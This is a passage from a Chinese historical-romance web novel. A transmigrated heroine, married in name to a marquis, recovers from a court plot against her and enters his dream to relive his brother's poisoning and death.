张止平生最恨狗仗人势之流,若不是为了谢蕴,早将此人射于马下。
杨励害怕张止出什么幺蛾子,连累自己妹妹,连忙相劝:“他平日不这样。”
张止眯眼,暗觉不对。
此车,怎么没有要停下意思?
16. 情债难还 春心萌动
晨光出照屋梁明,天边泛起鱼肚白,叫卖声一重压过一重,好不热闹。
马车从侯府前匆匆而过,路边留下宛如尸体的谢蕴。
张止两步奔下台阶,倒在地下女子领口松垮,露出宛如玉脂的脖颈和圆润的肩头。发髻间只斜斜插入一只簪子,才不至于让青丝滑落。衣裙凌乱,腿部露出一截玉骨冰肌,泛着红晕。
他来不及多想,反手扯下背后的斗篷,盖在谢蕴身上,遮住脸庞,确保裹紧不漏一丝缝隙后,半跪弯腰,伸手揽过女子肩背,穿过膝窝,继而收紧臂弯,稳稳当当地抱起。
昨日谢蕴出门,张止瞥见她穿着藕粉色绣着海棠的衣裙,暗笑她小女孩心性,多少爱娇。
不成想,成了这般模样。
怀中的女子似有意识,揪住他的衣服,喃喃发问:“是谁?可否给我些水喝?”
张止胸膛起伏,强压怒气,格外好性,俯首道:“是我,张止。”
“张止…”她缓缓吐出二字,紧绷的身体松懈下来,不在说话,靠在张止胸膛沉沉睡去。
杨励忐忑不安看着这一幕,并不知晓会是如此“护送回府”。
“张大人,我妹妹…”他只想快些领宝珠回府,此事太难堪,难保张止会做出什么出格的事。
张止手骨攥紧,低眉看见怀中人,才松了劲。
好卑鄙的手段!
“杨大人忘了我的话了吗?”张止睨视,厉声:“明日此时在府中侯着,我自会送杨小姐回家。”
杨励慌神之际,张止背影已过垂花门。
他没有抱过其他女子,不知道女子应当多重,无端觉谢蕴太轻了些,指腹贴着后背,似乎都能摸到她不屈的脊梁。
张止小心翼翼地将谢蕴放在床上,掌握不好力度,碰到了伤口,令女子不住皱眉,他缓缓揭开斗篷,大腿与小腿箭伤发黑,手腕脚腕处红肿不堪。
他在军中多年,处理箭伤如同家常便饭。只是他与谢蕴并无夫妻之实,绝不可趁人之危。
“阿止,你先出去吧,我会处理的。”
瞧见芝落放下床蔓,张止收回目光,就这外间脸盆中的水,搓洗手上血迹。
“景和。”张止垂下眼皮,寒声安排:“告诉府中人,今日这事,胆敢相传,便是不要自己和族人的脑袋了。”
“另外,”张止回想路边到底有谁看见,务必将这事堵在此刻:“商贩之中有看见此事者,重金收买,若有得寸进尺、背信弃义者。”
他拿起一方帕子,擦干净手上的水,扔进水盆中,溅起一阵水花,冷声道:“杀。”
今日阳光甚好,张止让人搬了一把圈椅放在风闲轩门口,他靠在椅子上,大夫来往看见这架势,难免战战兢兢:“侯爷与夫人感情甚好、甚好。”
“我夫人如何?”
“只是些皮外伤。”
“既是皮外伤,何故还不苏醒?”
大夫摸着胡须:“这些伤放在侯爷身上,定然无事,夫人身娇体弱,恢复慢些。最多至明日,就会苏醒。”
张止仿佛吃下一口定心丸,新的问题又接踵而至。多少世家大族女子,大门不出,二门不迈。被人看见一截胳膊,也会被长辈痛批,更有甚者,断发出家,寻死觅活。
谢蕴虽行走江湖,四处为医,可像今日这般,衣衫不整丢至路口,坏了名声。
她能不能扛的过去?
芝落从背后拍拍他肩膀:“想什么呢?这样出神。”
“想我—”张止拉长语调:“十六岁以前。”
他暗自下定决心,待谢蕴身体恢复如初,定让她复活少爷。这样担心受怕的时刻,他不想再来一遭。
芝落:“那个时候的你要比现在幽默风趣。”
嗯,张止也这般认为,少爷要比他爱笑的多。
他微阖双目,随便找了理由:“少年不知愁滋味,自然开心。”
张止指腹有一下没一下的摩挲套在手上的玉扳指,双眸幽深难测。
他无法明说。
真正张止的死去,替身张止的复活,谢蕴的死而复生以及那个真假难辨的许诺。
这些他都无法坦诚相告。
夜间,张止独自抱臂立在床边打量谢蕴,嘲讽自己,果然是不敢欠情,上次她守了他一宿,这次轮到他了。
***
“你在想什么?”谢蕴轻咳一声,眼角泛红盯着站在床边的男人,无奈声音沙哑。
“我在想情债难还啊,”张止按住她的肩膀,叮嘱:“夫人,好好躺着,大夫说现在不能乱动。”
谢蕴抬了一下大腿,箭伤已经被包扎,职业病发作:“请的哪个大夫,不会是上次那个庸医吧?”
张止一反常态挪揄:“放心,你砸了那个大夫的饭碗,他自此以后不再行医。”
谢蕴思绪混沌,茫然不知:“不至于吧?”
从醒来谢蕴少说喝了有五碗药,张止亲力亲为,瞪着一双眼,非要她喝到见碗底才肯作罢。
第六碗端来时,谢蕴捏着鼻子,示意快点拿走,不似初醒时那般虚弱。
张止挑眉:“不错,看来这药有效。”
他从不强求,不喝就放在一旁。
谢蕴撸起袖子,露出手腕,嘴里也不闲着:“你的伤势如何?伤口处可抹药了?哎,我的药箱丢了,还要在配一些药才行。”
张止坐在对面榻上,支着脑袋,线条分明的指节一下一下的敲击膝盖,难为她在经历伤痛后还能想着自己,眼波流转:“你可有小字?”
“没有。”
“我送你一个,如何?”
谢蕴歪头,隔着屏风,看不真切那抹身影。
“叫——”张止手指停下:“宝玉?如宝如玉。”
谢蕴摆手拒绝,挺直腰背靠在床头,嘴角抽动:“还有其他选择吗?”
“有啊,蓁蓁,如何?”张止修长的手指在空中比划了几下,勾出叶子的形状:“桃之夭夭,其叶蓁蓁。”
一首贺新娘的诗,很是应景。比起宝玉,这名字好听的过分。
“大人。杨大人在外求见。”
“让他回去,明天一早,他妹妹必然到府。”张止慍怒,杨励为了他妹妹,倒是三番两次,低声下气。
谢蕴想起太后宫中那几个小宫女的对话,疑惑:“我是怎么回来的?”
张止知晓谢蕴聪慧,也并不打算隐藏,况且他行事坦坦荡荡,没有什么卑劣可言,真是卑劣的是他们。
他捡出几条重要的说一说,刻意没有提起今早的事。
谢蕴听完,喉咙里无故涌起来一股气体,呛的她直咳嗽。
张止赤脚下床,递过去一盏茶,一语双关:“举手之劳,无须感激涕零。”
指节分明,白皙修长,一双这样漂亮的手,竟能降服
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重弓,压制劲敌。
“这么说,堵门那次是你故意放水?”
看吧?他早说过这女子聪慧异常。
张止强行将水塞到她手中,温和的转移话题:“夫人,喝点水,报恩也不急在一时。”
谢蕴端着水杯,看着张止转身,忙叫住他:“我是如何回来?”
张止脊背僵直,他刻意回避的像是逃避不过。聪慧异常未免是好事。
他不知该如何作答。
是太后、是杨励,手段无耻,卑鄙下作,用这种方式逼他年轻的妻子去死。
与谢蕴又有关系呢?
她还懵懂无知,幼不更事。如今被那些人折磨的,连说话都会被呛住。
叫他如何罢手?
张止眼中狠戾,信誓旦旦作保:“你只管在府中好好调理,旁的事你无需管,我自会好生解决。”顿了顿,又柔声的补充:“旁人说什么你更不用听,免得污了自己的耳朵。”
太后必然不会善罢甘休,到时舆论哗然,甚嚣尘上。他已思定,但凡有一个人敢论起,他罪孽深重,不在乎再多添几条人命。
只盼着谢蕴别把这种肮脏话听到心里去。
谢蕴大大的眼里是大大的疑惑,这在说什么啊?她无非是想不起是谁把她抱回来了才发问的,没有想到另有隐情,刻意诈他:“你不说难道我一点都不知道吗?从你口中得知,好过于我从旁人那知晓。”
张止垂眸,力求说清楚原委,又要轻描淡写,最后为了打消她的顾虑,忙跟上一句:“我说过的事定能做到,决计不让一句污言秽语进你耳朵。”
谢蕴就着这段话喝完一杯水,顺手将杯子扔过去,只是手上力度有限,张止眼疾手快,探身来取,正好接住。
“我以为是多大的事,耽误我睡觉。”
张止一愣,虽觉怪异,却也眉目展笑,又怕她嘴上逞强,千万种心思腻在心头:“你真的这般想?认为此事不用放在心上?”
谢蕴手腕脚上均有伤,不能像从前那般盘膝而坐,只好靠着床头,床帐遮住她大半张脸,露出艳艳红唇:“你如何想?”
听着前后话茬,张止似乎也不把这些事放在心里,话里话外,生怕她因为这件事想不开,心情低落,继而寻死。
“我如何想?是他们的错,与你何干?待你精神好些,告知那人是谁,我一定会你交代。”他咬牙切齿,大有生啖其肉之势。说至这里,张止双眸微沉,对于女子来说,世道艰难,尤其这种事,就算充耳不闻,也会因此被人看低。
“谢蕴,你我虽无夫妻之实,但今日之诺,生生世世绝不背弃。从此刻起,我会是你的靠山,无人敢欺辱你。生,你是镇北侯夫人;死,我也风风光光的把你抬进侯府陵墓。”
谢蕴好笑,她不放在心上,是因她知晓根本无事发生。
退一万步来说,就算她真的受人侮辱,她一个受过新时代教育的人,还能因此活不下去?犯错的又不是她,凭什么要受害者买单?
可张止不放在心上,那就奇怪了。
他本就是属于这个时代的人物,军中之人御下手段极多,信字乃是第一,镇北侯许下如此重的誓言,倒让谢蕴刮目相看。
“张止,你我如今和离,肯定无人笑话你。你放心,我也不会自甘堕落,也不会寻死觅活。你好好做你的镇北侯,不需要做我的靠山,我自己就是我自己的靠山。”
17. 以德报怨 何以报德
张止把玩着茶盏,直至杯壁凉下来才放到案上,一字一顿:“你要同我和离?”
谢蕴深知世上之人皆是薄情寡义之辈,靠谁都不如靠自己。
一个被虚构出来的人物,能说出这样一般话,已经让她深深感激,何必担着一个镇北侯夫人的名义,让他难堪。
“我知道你有洁癖,一个被破了身的女人,你要养吗?何况…”谢蕴嗓子发紧,轻轻咳嗽,张止走近,递出一方帕子。
她没接,紧盯面前那人的指尖,犹如冬日初雪:“流言蜚语,张大人也可置若罔闻吗?”
前些日子,她同芝落闲谈,说起周大人家的小妾,红杏出墙,乱棍打死,以保家风。
如此手段,也难免周大人明里暗里被嘲笑了两个月。
像她这种明明无事发生,又被恶意捏造,加上有太后在幕后操纵。
她心说,张止还不知要被笑话多久,这顶绿帽子会随着这段关系一直存在。
张止坐下,横起一条腿靠在床边,气定神闲道:“侯府虽不富贵,养你一个绰绰有余。”
“张大人,我可不好养。”
“夫人,你就是再不好养,我也要养。”张止盯着她的双眸,微叹:“我不在乎这些风言风语。”
两厢无言,张止并不错开目光,坦坦荡荡直视着谢蕴:“夫人,想让我和离,只怕比登天还难啊。”
谢蕴明白,张止此人最重情义,此时让他抛弃自己,保全自身,他做不出来,所以不在此事上纠结,微微后仰,露出修长的脖颈:“若那些不是风言风语,若是确有其事呢?”
张止侧目,思考良久。
“做错事情又不是你?何苦自抑?”
少顷,谢蕴笑出声,真是好超前的想法。
张止不明就里:“有什么好笑的?我说的不对吗?”
对,当然对。
这样超前想法,谢蕴花了好多年才明白。
“我是问你,你不介意被戴绿帽子吗?”谢蕴字字珠玑发问:“行走朝堂之间,被人嘲笑,你也能熟视无睹吗?哪日不凑巧,遇到奸夫,又该如何?”
“普天之下,我不嘲笑别人就算了,还有人敢嘲笑我?”
张止俯身,将之前掉下来的匕首塞回她的枕下,冷笑:“何来奸夫?罪犯而已,死有余辜。”
卑鄙龌龊之徒!
张止并没有起身,他早道此女眼睛生的不好,不管什么人,都会溺死在她的眼角,思及至此,心中发涩,不多时,他却笑了。
无妨。
总归,人还在这,不是么?
谢蕴搞不懂他忽然笑了是什么回事,决心不在试探:“我其实没有什么事,被捆了一晚上,按你说的就是只把我扔在路上,大约认为我自杀吧?”
毕竟世家大族的女子恪守规矩,不轻易抛头露面,更别说像她这种漏着大腿,躺在街上。
她一顿,道:“也许,太后想的是,就算我不自杀,你也会杀了我的。”
张止叹气,战场厮杀也不及朝堂之上波云诡谲。
这一声叹气,倒让谢蕴有些后怕。
张止现在不追究,并不代表永远相信。
她和绿帽子谁比较重要?
这是一个问题,加上她根本无法复活张止。
孰轻孰重?
“我听闻宫中有法子能够验明处子之身…”
张止费解:“你为了流言,要做到如此?”
验明正身,对女子是极大的羞辱。
“不是为了流言!”谢蕴哪里会把那些话放在心上:“我是怕你不放心,虽然我们只是名义上的夫妻,总不好让你觉得自己吃亏了…”
她突然停顿,怎么越说越不对劲?吃亏了?
他们又不会有什么实际性发展,怎么会有吃亏一说?
张止也察觉出来了,清清嗓子,热气喷到她的脸上:“难为夫人想的如此周到,只是为夫不在意这些,处子也罢,不是也好,我都不在意。”
谢蕴凑近,烛光将两人的身影投在帘子,由衷夸奖:“天下男人若都如你这般,那可真是世道大好。”
张止不出声起身,提起茶壶为自己倒杯茶,就着之前的茶杯灌下去。
天干物燥
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、口干舌燥。
“你没有打算放过杨宝珠吧?”
张止重重的放下茶杯,眼神凌厉,薄唇轻启:“那是自然,以其人之道,还至其人之身。”
“我觉得还是不要了。”谢蕴思索片刻,开口求情:“他妹妹遇此景,肯定活不下去了。”
她不是大发善心,是女子更能理解女子。
“谢蕴,他们打算让你活下去了吗?”张止一针见血:“以德报怨,何以抱德?”
“我不是白莲花,而是这件事本与杨宝珠无关,她是无辜受牵的,我能不在乎这些事,是我豁达,旁的女子多数都是要死的,就算不会自杀,夫兄为了家族门楣,大概率也是要乱棍打死。你不也说了吗?女子生活不易。”
张止是说过这句话,但是看杨宝珠生活应是娇气的很,锦衣玉食,一点小事哭的不成样子。
哪像床上的这个,像是来渡劫,疾风知劲草,怎么吹也吹不倒。
他又对上那双含情眼,罢了,他愿意给谢蕴这个面子。
“景和。”张止高声:“送杨小姐回府,告诉杨大人,今日是夫人求情,否则他要明天早上才能见到他妹妹了。”
他希望杨励能记着这个人情,再遇他妻也能回想今日恩情。
“是,主上。”
“另外,取两支破晓箭,随身携带。”张止可没有这么好性:“当着杨大人的面,一支刺到右腿膝盖往上三寸,一支刺到左腿膝盖往下两寸。告诉他,这是张止的回礼。”
这两处位置恰好是谢蕴伤的位置。
张止轻扬唇角,谢蕴既不寻死觅活,又不和离,如此大好:“也要适当给个教训,以免下次再犯。”
谢蕴不知道这是解释给她听的,心中疑惑,这些都要解释给杨励听吗?
药劲上来,谢蕴昏昏欲睡。
深夜,张止依旧心神不宁。
“谢蕴,我一直想问你一件事。”张止踌躇良久,本不愿如今说起,可明枪易躲暗箭难防,这种事他怕有太多,万一下次没来得及救她,该如何?
“到底什么时候才能救活少爷?”
18. 闻香意动 识人谎言
一晃十日,谢蕴终日在家养伤,百无聊赖。
“皇上昨日点我,大约你的字不可入眼。”张止低头,信手从一旁拿起密折,近日朝堂事多,琐事更是一层一层。他凭借着不涉党争,依旧是皇帝的宠臣,如他所说,普天之下,没有人敢嘲笑他。
谢蕴仰面歇在躺椅里,面上盖着书,闷声:“这是皇上的原话?”
原话?
“张止,折子的写不错,武能安邦,文能治国,闲暇时,也该教导妻子,字嘛,还是要好好写的。本是孤做的大媒,如今也颇有歉意。”
他缓过神,目光沿着女子脚尖,顺势上爬,借着力量推动躺椅前后摇动,戏谑道:“夫人,大好了?”
“有事直说。”
张止搁笔,靠在圈椅上,双手十指交错,置于膝盖,咋一看很是乖巧:“盛情难却,我就不扭捏了。”
“你打算什么时候复活少爷?”
谢蕴脑袋“嗡”的一声响,闻声把书掀开,霎时间不动。
她想,他们之间已经很熟了。
谈得上生死之交。
窗柩上挂着前几日闲暇时做的风铃,此刻作响。
谢蕴缓缓从躺椅上起身,迎着张止冷若冰霜的眼神,缩了缩脖子,小声道:“你问这个干嘛?”
张止不知从哪拿出一把折扇,轻轻敲击在桌沿,顿了少顷,嗤笑反问:“难道我不应该问?”
“应该的应该的。”谢蕴头如捣蒜。距她许下承诺,已有月余,也算张止耐心好,能等到现在才开口。
“那…”张止起身,脚步轻移,高大巍峨的黑色阴影投到谢蕴身上:“究竟在何时?”
过了一段时间的好日子,谢蕴差点忘了张止是什么人了。
她心虚埋头,脑袋里如同浆糊,思考如何糊弄过去。
张止宽厚的手掌附在躺椅两侧,指骨泛白,弯腰曲背,单腿下蹲,身体与臂膀连成一个圈,将谢蕴囚在其中。
府中人皆知他有洁癖,根据季节不同取新鲜花草制成澡豆,偏偏他又不喜过香,剂量时时刻刻需注意,导致香味非近身不可闻。
如今,谢蕴嗅着轻微的木槿花味,只得更低下头。
偏偏此人不让她如愿。
修长的手指攀上她的下颌,稍稍用力,谢蕴不得不抬头与他直视。
温热的气息扑面而来,压迫感十足:“你不会是骗我的吧?”
她看着他的眼睛,薄凉、冷清。
“当然不是。”谢蕴猛然站起来,当下若是承认,那是不想活了。多年经验告诉她,心虚时千万不可面露怯色,否则无疑是自投罗网。
无奈谢蕴起身太突然,不留心撞到张止胸膛,躲避之下又差点摔倒。
宽厚有力的手掌瞬间托在她的后腰。前几日为了换药方便,特意换的轻薄衣裙,此刻隐约之间能察觉到男人手掌中的茧纹,甚至有蜿蜒向上的趋势。
粗糙、有力。
谢蕴的额头与男人下颌齐平,她的视线不偏不倚落在喉结处,轻轻滚动,她原本不该想的,可她又偏偏想到那日的宽肩窄腰:“那么究竟何时,可以复活?”
不可露怯,不可露怯…
“何时我也说不好,”谢蕴扒拉开张止的胳膊,从那个囚禁她的怀抱中逃脱,气喘吁吁:“我之前就和你说过,需要看机缘的。”
“什么机缘?何时才有机缘?”张止追问。
谢蕴后背朝他,心道不好,张止起了疑心,拿不出来实质的东西,必然不可善罢甘休。
“我想想。”
“想到什么时间?何时能给我一个答复?”张止大有打破砂锅问道的态度:“总不能日复一日的诓我吧。”
他无法忍受事情逃离自己的掌握。
无法忍受看见却得不到的诱惑,
谢蕴装糊涂,皱眉做思考状:“我纠正一下,我没有诓你,只是在思考。”
“不用回房了,就在这里思考。”谢
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蕴脚底抹油,意欲要走,被张止看在眼里,冷声打断:“倘若你是骗我的,你说清楚便是,我又不会怎么样。”
谢蕴重新躺回摇椅上,不住感叹,可笑!实在可笑!
他一贯是以牙还牙,变本加厉的打击报复犹嫌不足,谎言被戳穿,还不会怎么样?
张止再度拎起折扇,指尖抹开扇面,背对着谢蕴,敛眸:“我提醒你,若是兄长复活不了,你可真就是我的夫人了,我向来厌恶弄虚作假,必定让你坐实夫人二字。”
***
“系统!”谢蕴头疼不已:“真的没有办法复活张止吗?我的复活卷他用不了吗?”
“宿主,是的。”
“那,有没有其他卷或者什么兵器,法宝。”谢蕴一股脑儿的只想对付过去,展开曲线救国的架势。
“宿主,请稍等,正在为您查询。”
“宿主,系统有一张入梦来正在打折。”
“好奇怪的名字。”谢蕴发问:“怎么用?”
“使用此卷,宿主可入男主梦中,扮演任何角色。”
谢蕴大喜:“先让他在梦中见到,相信我的能力再说其他。”
“宿主获得此卷,先需欠款,待系统升级完成后再补充。”
谢蕴摆摆手:“好啦,好啦,先给我用吧。”
张止支着脑袋,目光灼灼,寒声询问:“夫人,还未思考完吗?”
谢蕴扬眉,不在心虚:“复活的机缘仍在等待,如今有一个睡梦中相见的机缘,可愿一试?”
张止不辩喜怒,推敲她话中真假,谢蕴有意相激:“若不是我,你本是没有这个机缘的。”
他闻听此言,嗤笑出声:“知道你本事大,不用你激将,我也会一试。”
“好。”谢蕴指了指躺椅:“你睡在这里。”
张止和衣躺下,谢蕴才发现这躺椅要比他的身量短很多,于自己倒是合适。
哎,景和做事也太不当心了。
19. 故人入梦 君子碎玉
张止阖目,呼吸变得缓慢而平稳,长睫微微颤动,谢蕴知晓他觉轻,此时不出声,单手撑着脑袋打量他。
自两人相见,张止便一直这般冷言冷语,狭长的眸子里总是不耐烦,偶尔也有转瞬即逝的孩子气,不过隐藏的极好,太老成。这人重情的不像话,在绿帽子时,他能完全抛弃自己,可是他却没有作壁上观,独善其身。
古怪又分裂。
***
系统提醒:“宿主,在梦境中,你会化作成张止的模样,整个梦境会是张正心底的记忆,所以梦境的场景不由你控制。事件是真实的,你不能改变已经发生的事情,只能在事件发生的基础进行添加。”
谢蕴万万没有想到,她见到的会是十六岁的张正,肆意张扬,窄袖劲装,身后负剑,跨马飞驰而来。
悬停勒马,陡然溅起飞泥,他空中急转马头,没让泥土落到此处,一开口,极具年轻公子的气负:“少爷!”
“去哪了?”是这具身体发出的声音,像张止密室的画像那般,和煦神性。
张正从怀里掏出一包东西,塞到他手中,眼里亮晶晶:“少爷,你不是说让我去买荷花酥送给芝落姐姐嘛?”
谢蕴握着手里的东西,还透着温热,因不熟悉他们的之间对话,一时不知道说些什么。
“张正,你我同岁,我年长你三月,可算的你兄长?”
张正拍着胸膛,不假思索说:“当然,我早已把你当成我哥哥。”
“好。我家在行加冠礼时,必由家族中最德高望重的长辈主持,偶有例外,便是父亲或者兄长,我既为你兄长,为你行冠礼,合乎情理。”
张正没有意料之中的高兴,反倒很疑惑:“兄长,你我今年才十六。”
离弱冠还有四年。
张止没出声,目光越过马背,不知望向哪里,长久的沉默让谢蕴自作主张加了一句:“无妨,能提前为你加冠礼我很高兴。”
“跪下。”
谢蕴,不,应该说是张止,解下张正的发带,不发一言,笨拙地将头发盘好,为其戴上青玉虎啸发冠:“君子万年,介尔昭明。今日起,你的字便是昭明。”
张正昂头,迎着他的目光,怔怔回望,并没有想象之中的兴奋,轻声道:“少爷。”
“虽然仪式简单些,也是怪我没有提前准备。”张止手心贴上他的脸,拇指划过张正的眼角,她手心一阵冰凉,面上却觉得张止在柔和的笑:“别哭,这是好事啊。”
她还想说什么,心口一阵发疼,像是数支钢针尽数插入,谢蕴抬臂捂住胸口,脚步虚浮不稳。
张正起身,一臂揽到她的胸口,神色慌张:“少爷,你怎么了?是不是今日的药…”
张止靠着他的臂弯,双手蜷缩用力,迫使自己站定,随后温和摇头,语气沙哑:“你…”
一句话未说完,嗓子里一股黏腻腥臭的液体涌上,继而喷涌而出,洒了一地,马儿打了两声鼻息,躲开了几步。
饶是如此,心口依旧疼痛难耐。
谢蕴皱眉,这是中毒了。
“谁敢?”张正目光定了定,回神后一手扶着张止的肩膀,另一手负手从背后抄剑,怒气难当:“我去杀了他,取解药!”
张止翻手握住他的小臂,将盛怒之下的他拉回来,吞咽了好几回,才逼住那股液体不在翻涌,涩声:“没有谁,是我自己服毒。”
“为什么?”张正不解:“少爷,解药在何处?”
张止搭着他的肩膀,咳嗽几声后笑:“张正,幼时我就被断言活不过弱冠。无奈,张家子嗣艰难,光耀门楣者更是了了。我回不去京城了。”
他做梦都想回去的地方,却再也回不去了。
谢蕴的目光看向远处,她知道这不是她的想念,是张止的。
“少爷,我会…”
他摇头,急切的打断张正的话,顺着小臂而下反握住他的手:“张家交给你,我很高兴。你既然视我为兄,那么我不能看着你大好年华尽然葬送在我的影子里。”
谢蕴恍然大悟,张止不死,张正永远不能见光。
张家也绝不允许有两个一模一样的张止。
“所以,兄长,你要把张家…”张正的手掌变凉,豆大的眼泪滴在谢蕴手背上,炙热滚烫。
“我坚信,你一定比我更加出色。”
张正咬咬牙,眼里陡然生出一股倔强,抬指狠狠的抹去眼角的泪水:“兄长,我们去找解药,我…我知道的,最近贵妃又荐过来一个好医士,一定…一定能够治好你!”
只要足够快,只要找到解药,兄长就不会死。
至于其他的病,一定还会有其他的办法。
天下之大,难不成就没有能治好兄长的大夫?
他不信!
张正将拇指与食指放在口中,打了口哨,刚刚逃远的骏马又飞驰而来。
他拉着张止小跑两步,欲扶兄长上马。
又是一股血腥味,这次他忍不了了,手扶马鞍,不住的吐血,像是要把心肝脾肺都吐出来才能好。
张正轻拍他的后背,哑着嗓子不知是安慰张止还是自己:“兄长,定会无事的。我做杀手的时候,也曾中毒,你瞧,如今我不是好好的?毒算什么?”
张止弯腰,望着一地的黑血,愣了愣,随即满不在乎的抬手擦掉嘴里的血迹,他有点想笑:“你知道这是什么毒吗?”
张正以为他生了活下去希望,忙道:“不管是什么毒,我都能找到解药。”
他陈述事实如杀人的刽子手:“咱们家药房东面架子上最底下的一层。”
张家有一间独立存放毒药的房间,毒性从下至上,层层递增。
而张止选的是最弱的毒药。
“张正,若是你服下此药,至少夜间毒性才能发作,我却连两个时辰都没有挨过。”张止终于可以直起腰,微微扬起嘴角,认命道:“我本就有先天不足之症,命数如此,任谁都无法更改。”
“我偏要更改!”
轰隆隆——
雷声咋起,乌云密布,张止抬头望天,云淡风轻道:“不可妄言,以免遭受反噬。”
谢蕴并没有在书中看过这一段,描写张止只是简单一句,风光霁月的君子。
她哪里知道,张止如此温和,就算片刻之后会死,还替张正着想,在信奉神明年代时,担心他遭受反噬。
“你若觉得对不住我,不如成为我。”张止头晕脑涨,撑着身体想要爬上马背,
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却也心知他已无力。
“向来都是兄长为弟弟压马头,扶其上马,今日劳烦弟弟了。”
张正抓紧希望,只要兄长想活,那么自己就算拼了命,也会助其康健,拉着缰绳时,宽慰:“兄长…”
张止艰难的爬上马背,手握缰绳,轻夹马腹,令马头调转方向,把想要上马的张正甩到一旁。
他笑了,利用高度的优势拔出张正背后的利剑,这些年的愧疚如同一场烈火,慢慢燃烧他的灵魂,终是在此时化作一声叹气:“张正,我们家总是做对不起你的事情,从寻你回来,就让你当我替身,我不方便出席的场合,你替我去。祖父祖母跟前不能尽的孝道,也是你替我去做。甚至…”
“芝落想去的元宵灯会,我都无法亲去,临近出门,我才发觉身体不适,急匆匆召你回来。后来我才知,那一日,你想回去看你的祖母,她已病重。”
“现在,诺大的家族抗在你肩头…”
张正泪流满面,伸手去够缰绳,却被张止躲过。
“兄长,你要干什么!你会死的你知不知道!”张正大怒,自入张家,他从未有过忤逆少爷时侯。
雨点啪啪落下,溅起泥土。
只有谢蕴知晓,在这漫天大雨中,风光霁月的公子,泪如泉涌。
面对既定的命运,他勇敢、他无畏,他坦荡,却心伤。
“我一心求死。”
“张正,”谢蕴眼前渐渐模糊,声音哽咽:“张家托付给你了,从今以后,你便是张家大少爷。”
“芝落喜甜食,逢年过节、生辰贺礼,请替我送一份荷花酥。请你务必善待她。”
张止抽响马鞭,马儿吃痛,高高仰起前蹄,马背上的张止惊恐万分,好在他及时拉住缰绳,没有颠落下。
“兄长!”
张止明白了,张正自小驯马,他的马自然认主,没有张正的示意它不会走。
可张正又岂会让他离开?
“兄长,你听我说…”他伸出手,再度想要拉住缰绳:“这世界上定有能治好你的医士。”
张止抬臂,毫不迟疑的将剑横在脖子上:“你想看见我惨死在你面前?你若如此想,做兄长自当了却你的夙愿。”
张正无助的看向马背的人,伸出的双手重重的落下。
长久的无言。
这次是谢蕴,她在雨中扬眉朗声:“张正!”
后者从雨中抬头,巨大的雨幕落在他们中间,他一时之间只茫然无措的盯着兄长。
“不要自我怀疑,我已经看到了十年以后的你,你走的每一步路,都是我想走的路。你不仅成为我,更超越了我。你做的很好。”
“我从未为逝去的生命感到惋惜,你没有取代我,而是延长我本就短暂的生命。”
“你做的每个决定亦是我所希翼的,不必时时担心我会如何抉择,不必活在我的影子之中,不必为了我的梦想惶惶不安,我远比你认为的更加相信你。”
张正心中发酸,他不知道这些话是真是假,十年之后,虚无缥缈的事情又谁知道?
“张正,让我走吧。”
短短六个字,道尽张止的悲壮。
张正哭的眼眶发红,哽咽道:“绝不!”
20. 碎玉难全 生死互望
谢蕴脖间一疼,垂眼,赤白的刃上滚过血珠,雨水混着血液流入内里。
张正手抖得厉害,大喊:“不要!”
“兄长!”
“要么你放我走,要么我死在这里,你自选吧。”
张正咬牙,悲戚嚷道:“兄长…”
剑刃又入肉几分。
张正低头,不忍再看。
“阿弟,不要优柔寡断,日后比这难得时刻,也指望别人同我一样心软吗?”张止望天,长叹:“我今日必死无疑,何苦要在雨中继续作贱我?”
张正下颌微动,在雨中踉跄几步后,举起又放下的手,最后搭在马鬃上,几度哽咽道:“踏雪,劳你…带我兄长转转。”
“多谢,阿弟。”
张正看着马蹄溅起雨水,狂奔而去。
他自知,此生最后一面,缘尽于此。
张止跪倒在地,泥水没过筋骨,挺拔的肩膀缓缓沉下去,止不住的颤抖。
他此时不过十六岁,俨然不是二十六岁可以藏住心事的年龄,奋力捶地,激起层层泥水,在这荒唐的安排中哭声难抑,质问:“天道…不公!为什么!为什么…为什么这么不公!”
良师、益友、兄长,最终悄无声息,归于宿命。
夏雨总是来去匆匆,张正从烂泥中直腰起身,用干净的手背擦尽泪痕,眸中清冷,眼神冷冽。
这场大雨里,死了张止,死了张正,活下来的只有昭明。
***
谢蕴睁眼,剑鞘刺目。
道是如此。
张止只要坐在这张书桌前,那把被特意放在武器架正中间的剑鞘便无法被忽略。
须臾,张止从躺椅上起身,睫毛颤动,眼尾发红。
生离死别,总归难以承受。
“醒了?”
张止不出声,指腹轻柔额穴,一别数年,他一日也不曾梦见少爷。
与少爷的最后一面,他从未忘记,毕竟是他亲手杀死自己,杀死少爷,可那些话?
“你能进入梦中?”张止回眸,他不明白,又不敢确定,唯有信此女大约真是神通广大之辈。
“不能。”
“那…”张止低眸。
“如何?”
“无事。”张止摇头,不住的按着额穴,起身推开窗户,余晖从屋檐洒到他身上,长身玉立,风光霁月,他的确与张止无比相像:“只是现在来看,你对我真的无比重要。”
若不是因为要复活张止这件事,她几乎就要认为这是告白了。
“好的,倘若能帮您实现您的梦想,”谢蕴从善如流回答,服务态度十分良好:“解决您的难题,正是小女子的荣幸。”
张止闻言,眼眸微颤,顺手拿起折扇,倒立在窗台上:“为何非要帮我实现梦想?”
谢蕴腹诽:这你得问系统,我也十分好奇。
“帮你实现梦想不好吗?不然你一个人努力多累啊。”她反问,将字帖放到一边,十年如一日的练字,这种人也许不太需要她的帮助,可无奈系统就是这样安排。
张止目光攸的顿住,复而牵出一丝笑。
他也有过帮别人实现梦想的日子,在今日之前他一直是这样的生活。
如何成为张止?如何做好张止?如果是真正的张止,他会不会像自己这样抉择。
可方才的梦,少爷说:“不必成为我的影子。”
霁色广袖长袍轻轻晃动,不过几步,那人已行至她面前。
谢蕴困惑的迎上男人的目光,后者眼角泛红还未完全退下,郑重其事道:“不必活在我的影子之中,不必为了我的梦想惶惶不安。”
她微微征住,这分明是梦中她自己说的话。
此刻,他要把这话送给自己吗?还是说,他知道梦里人是何人?
谢蕴神经紧绷,不敢继续往下想。
木槿花的香味渐渐抽离,男人背过身,半倚在桌边,手掌屈起,修长的手指无意识的敲击杯身,意味深长:“你不是为我活着的,你的存在自是有你存在的理由。”
张止说完,竟顿感苦涩,如同吃下一颗生柿子,舌头发木,涩意十足,他力压许久,可仍然不能忽略这苦涩,不禁微微皱眉,缓缓叹了口气。
谢蕴缄默不语。一时之间,她悠然发现他们如此相似。
“你有梦想吗?”
谢蕴靠在椅背上,也学着张止的样子,手指敲击桌面。
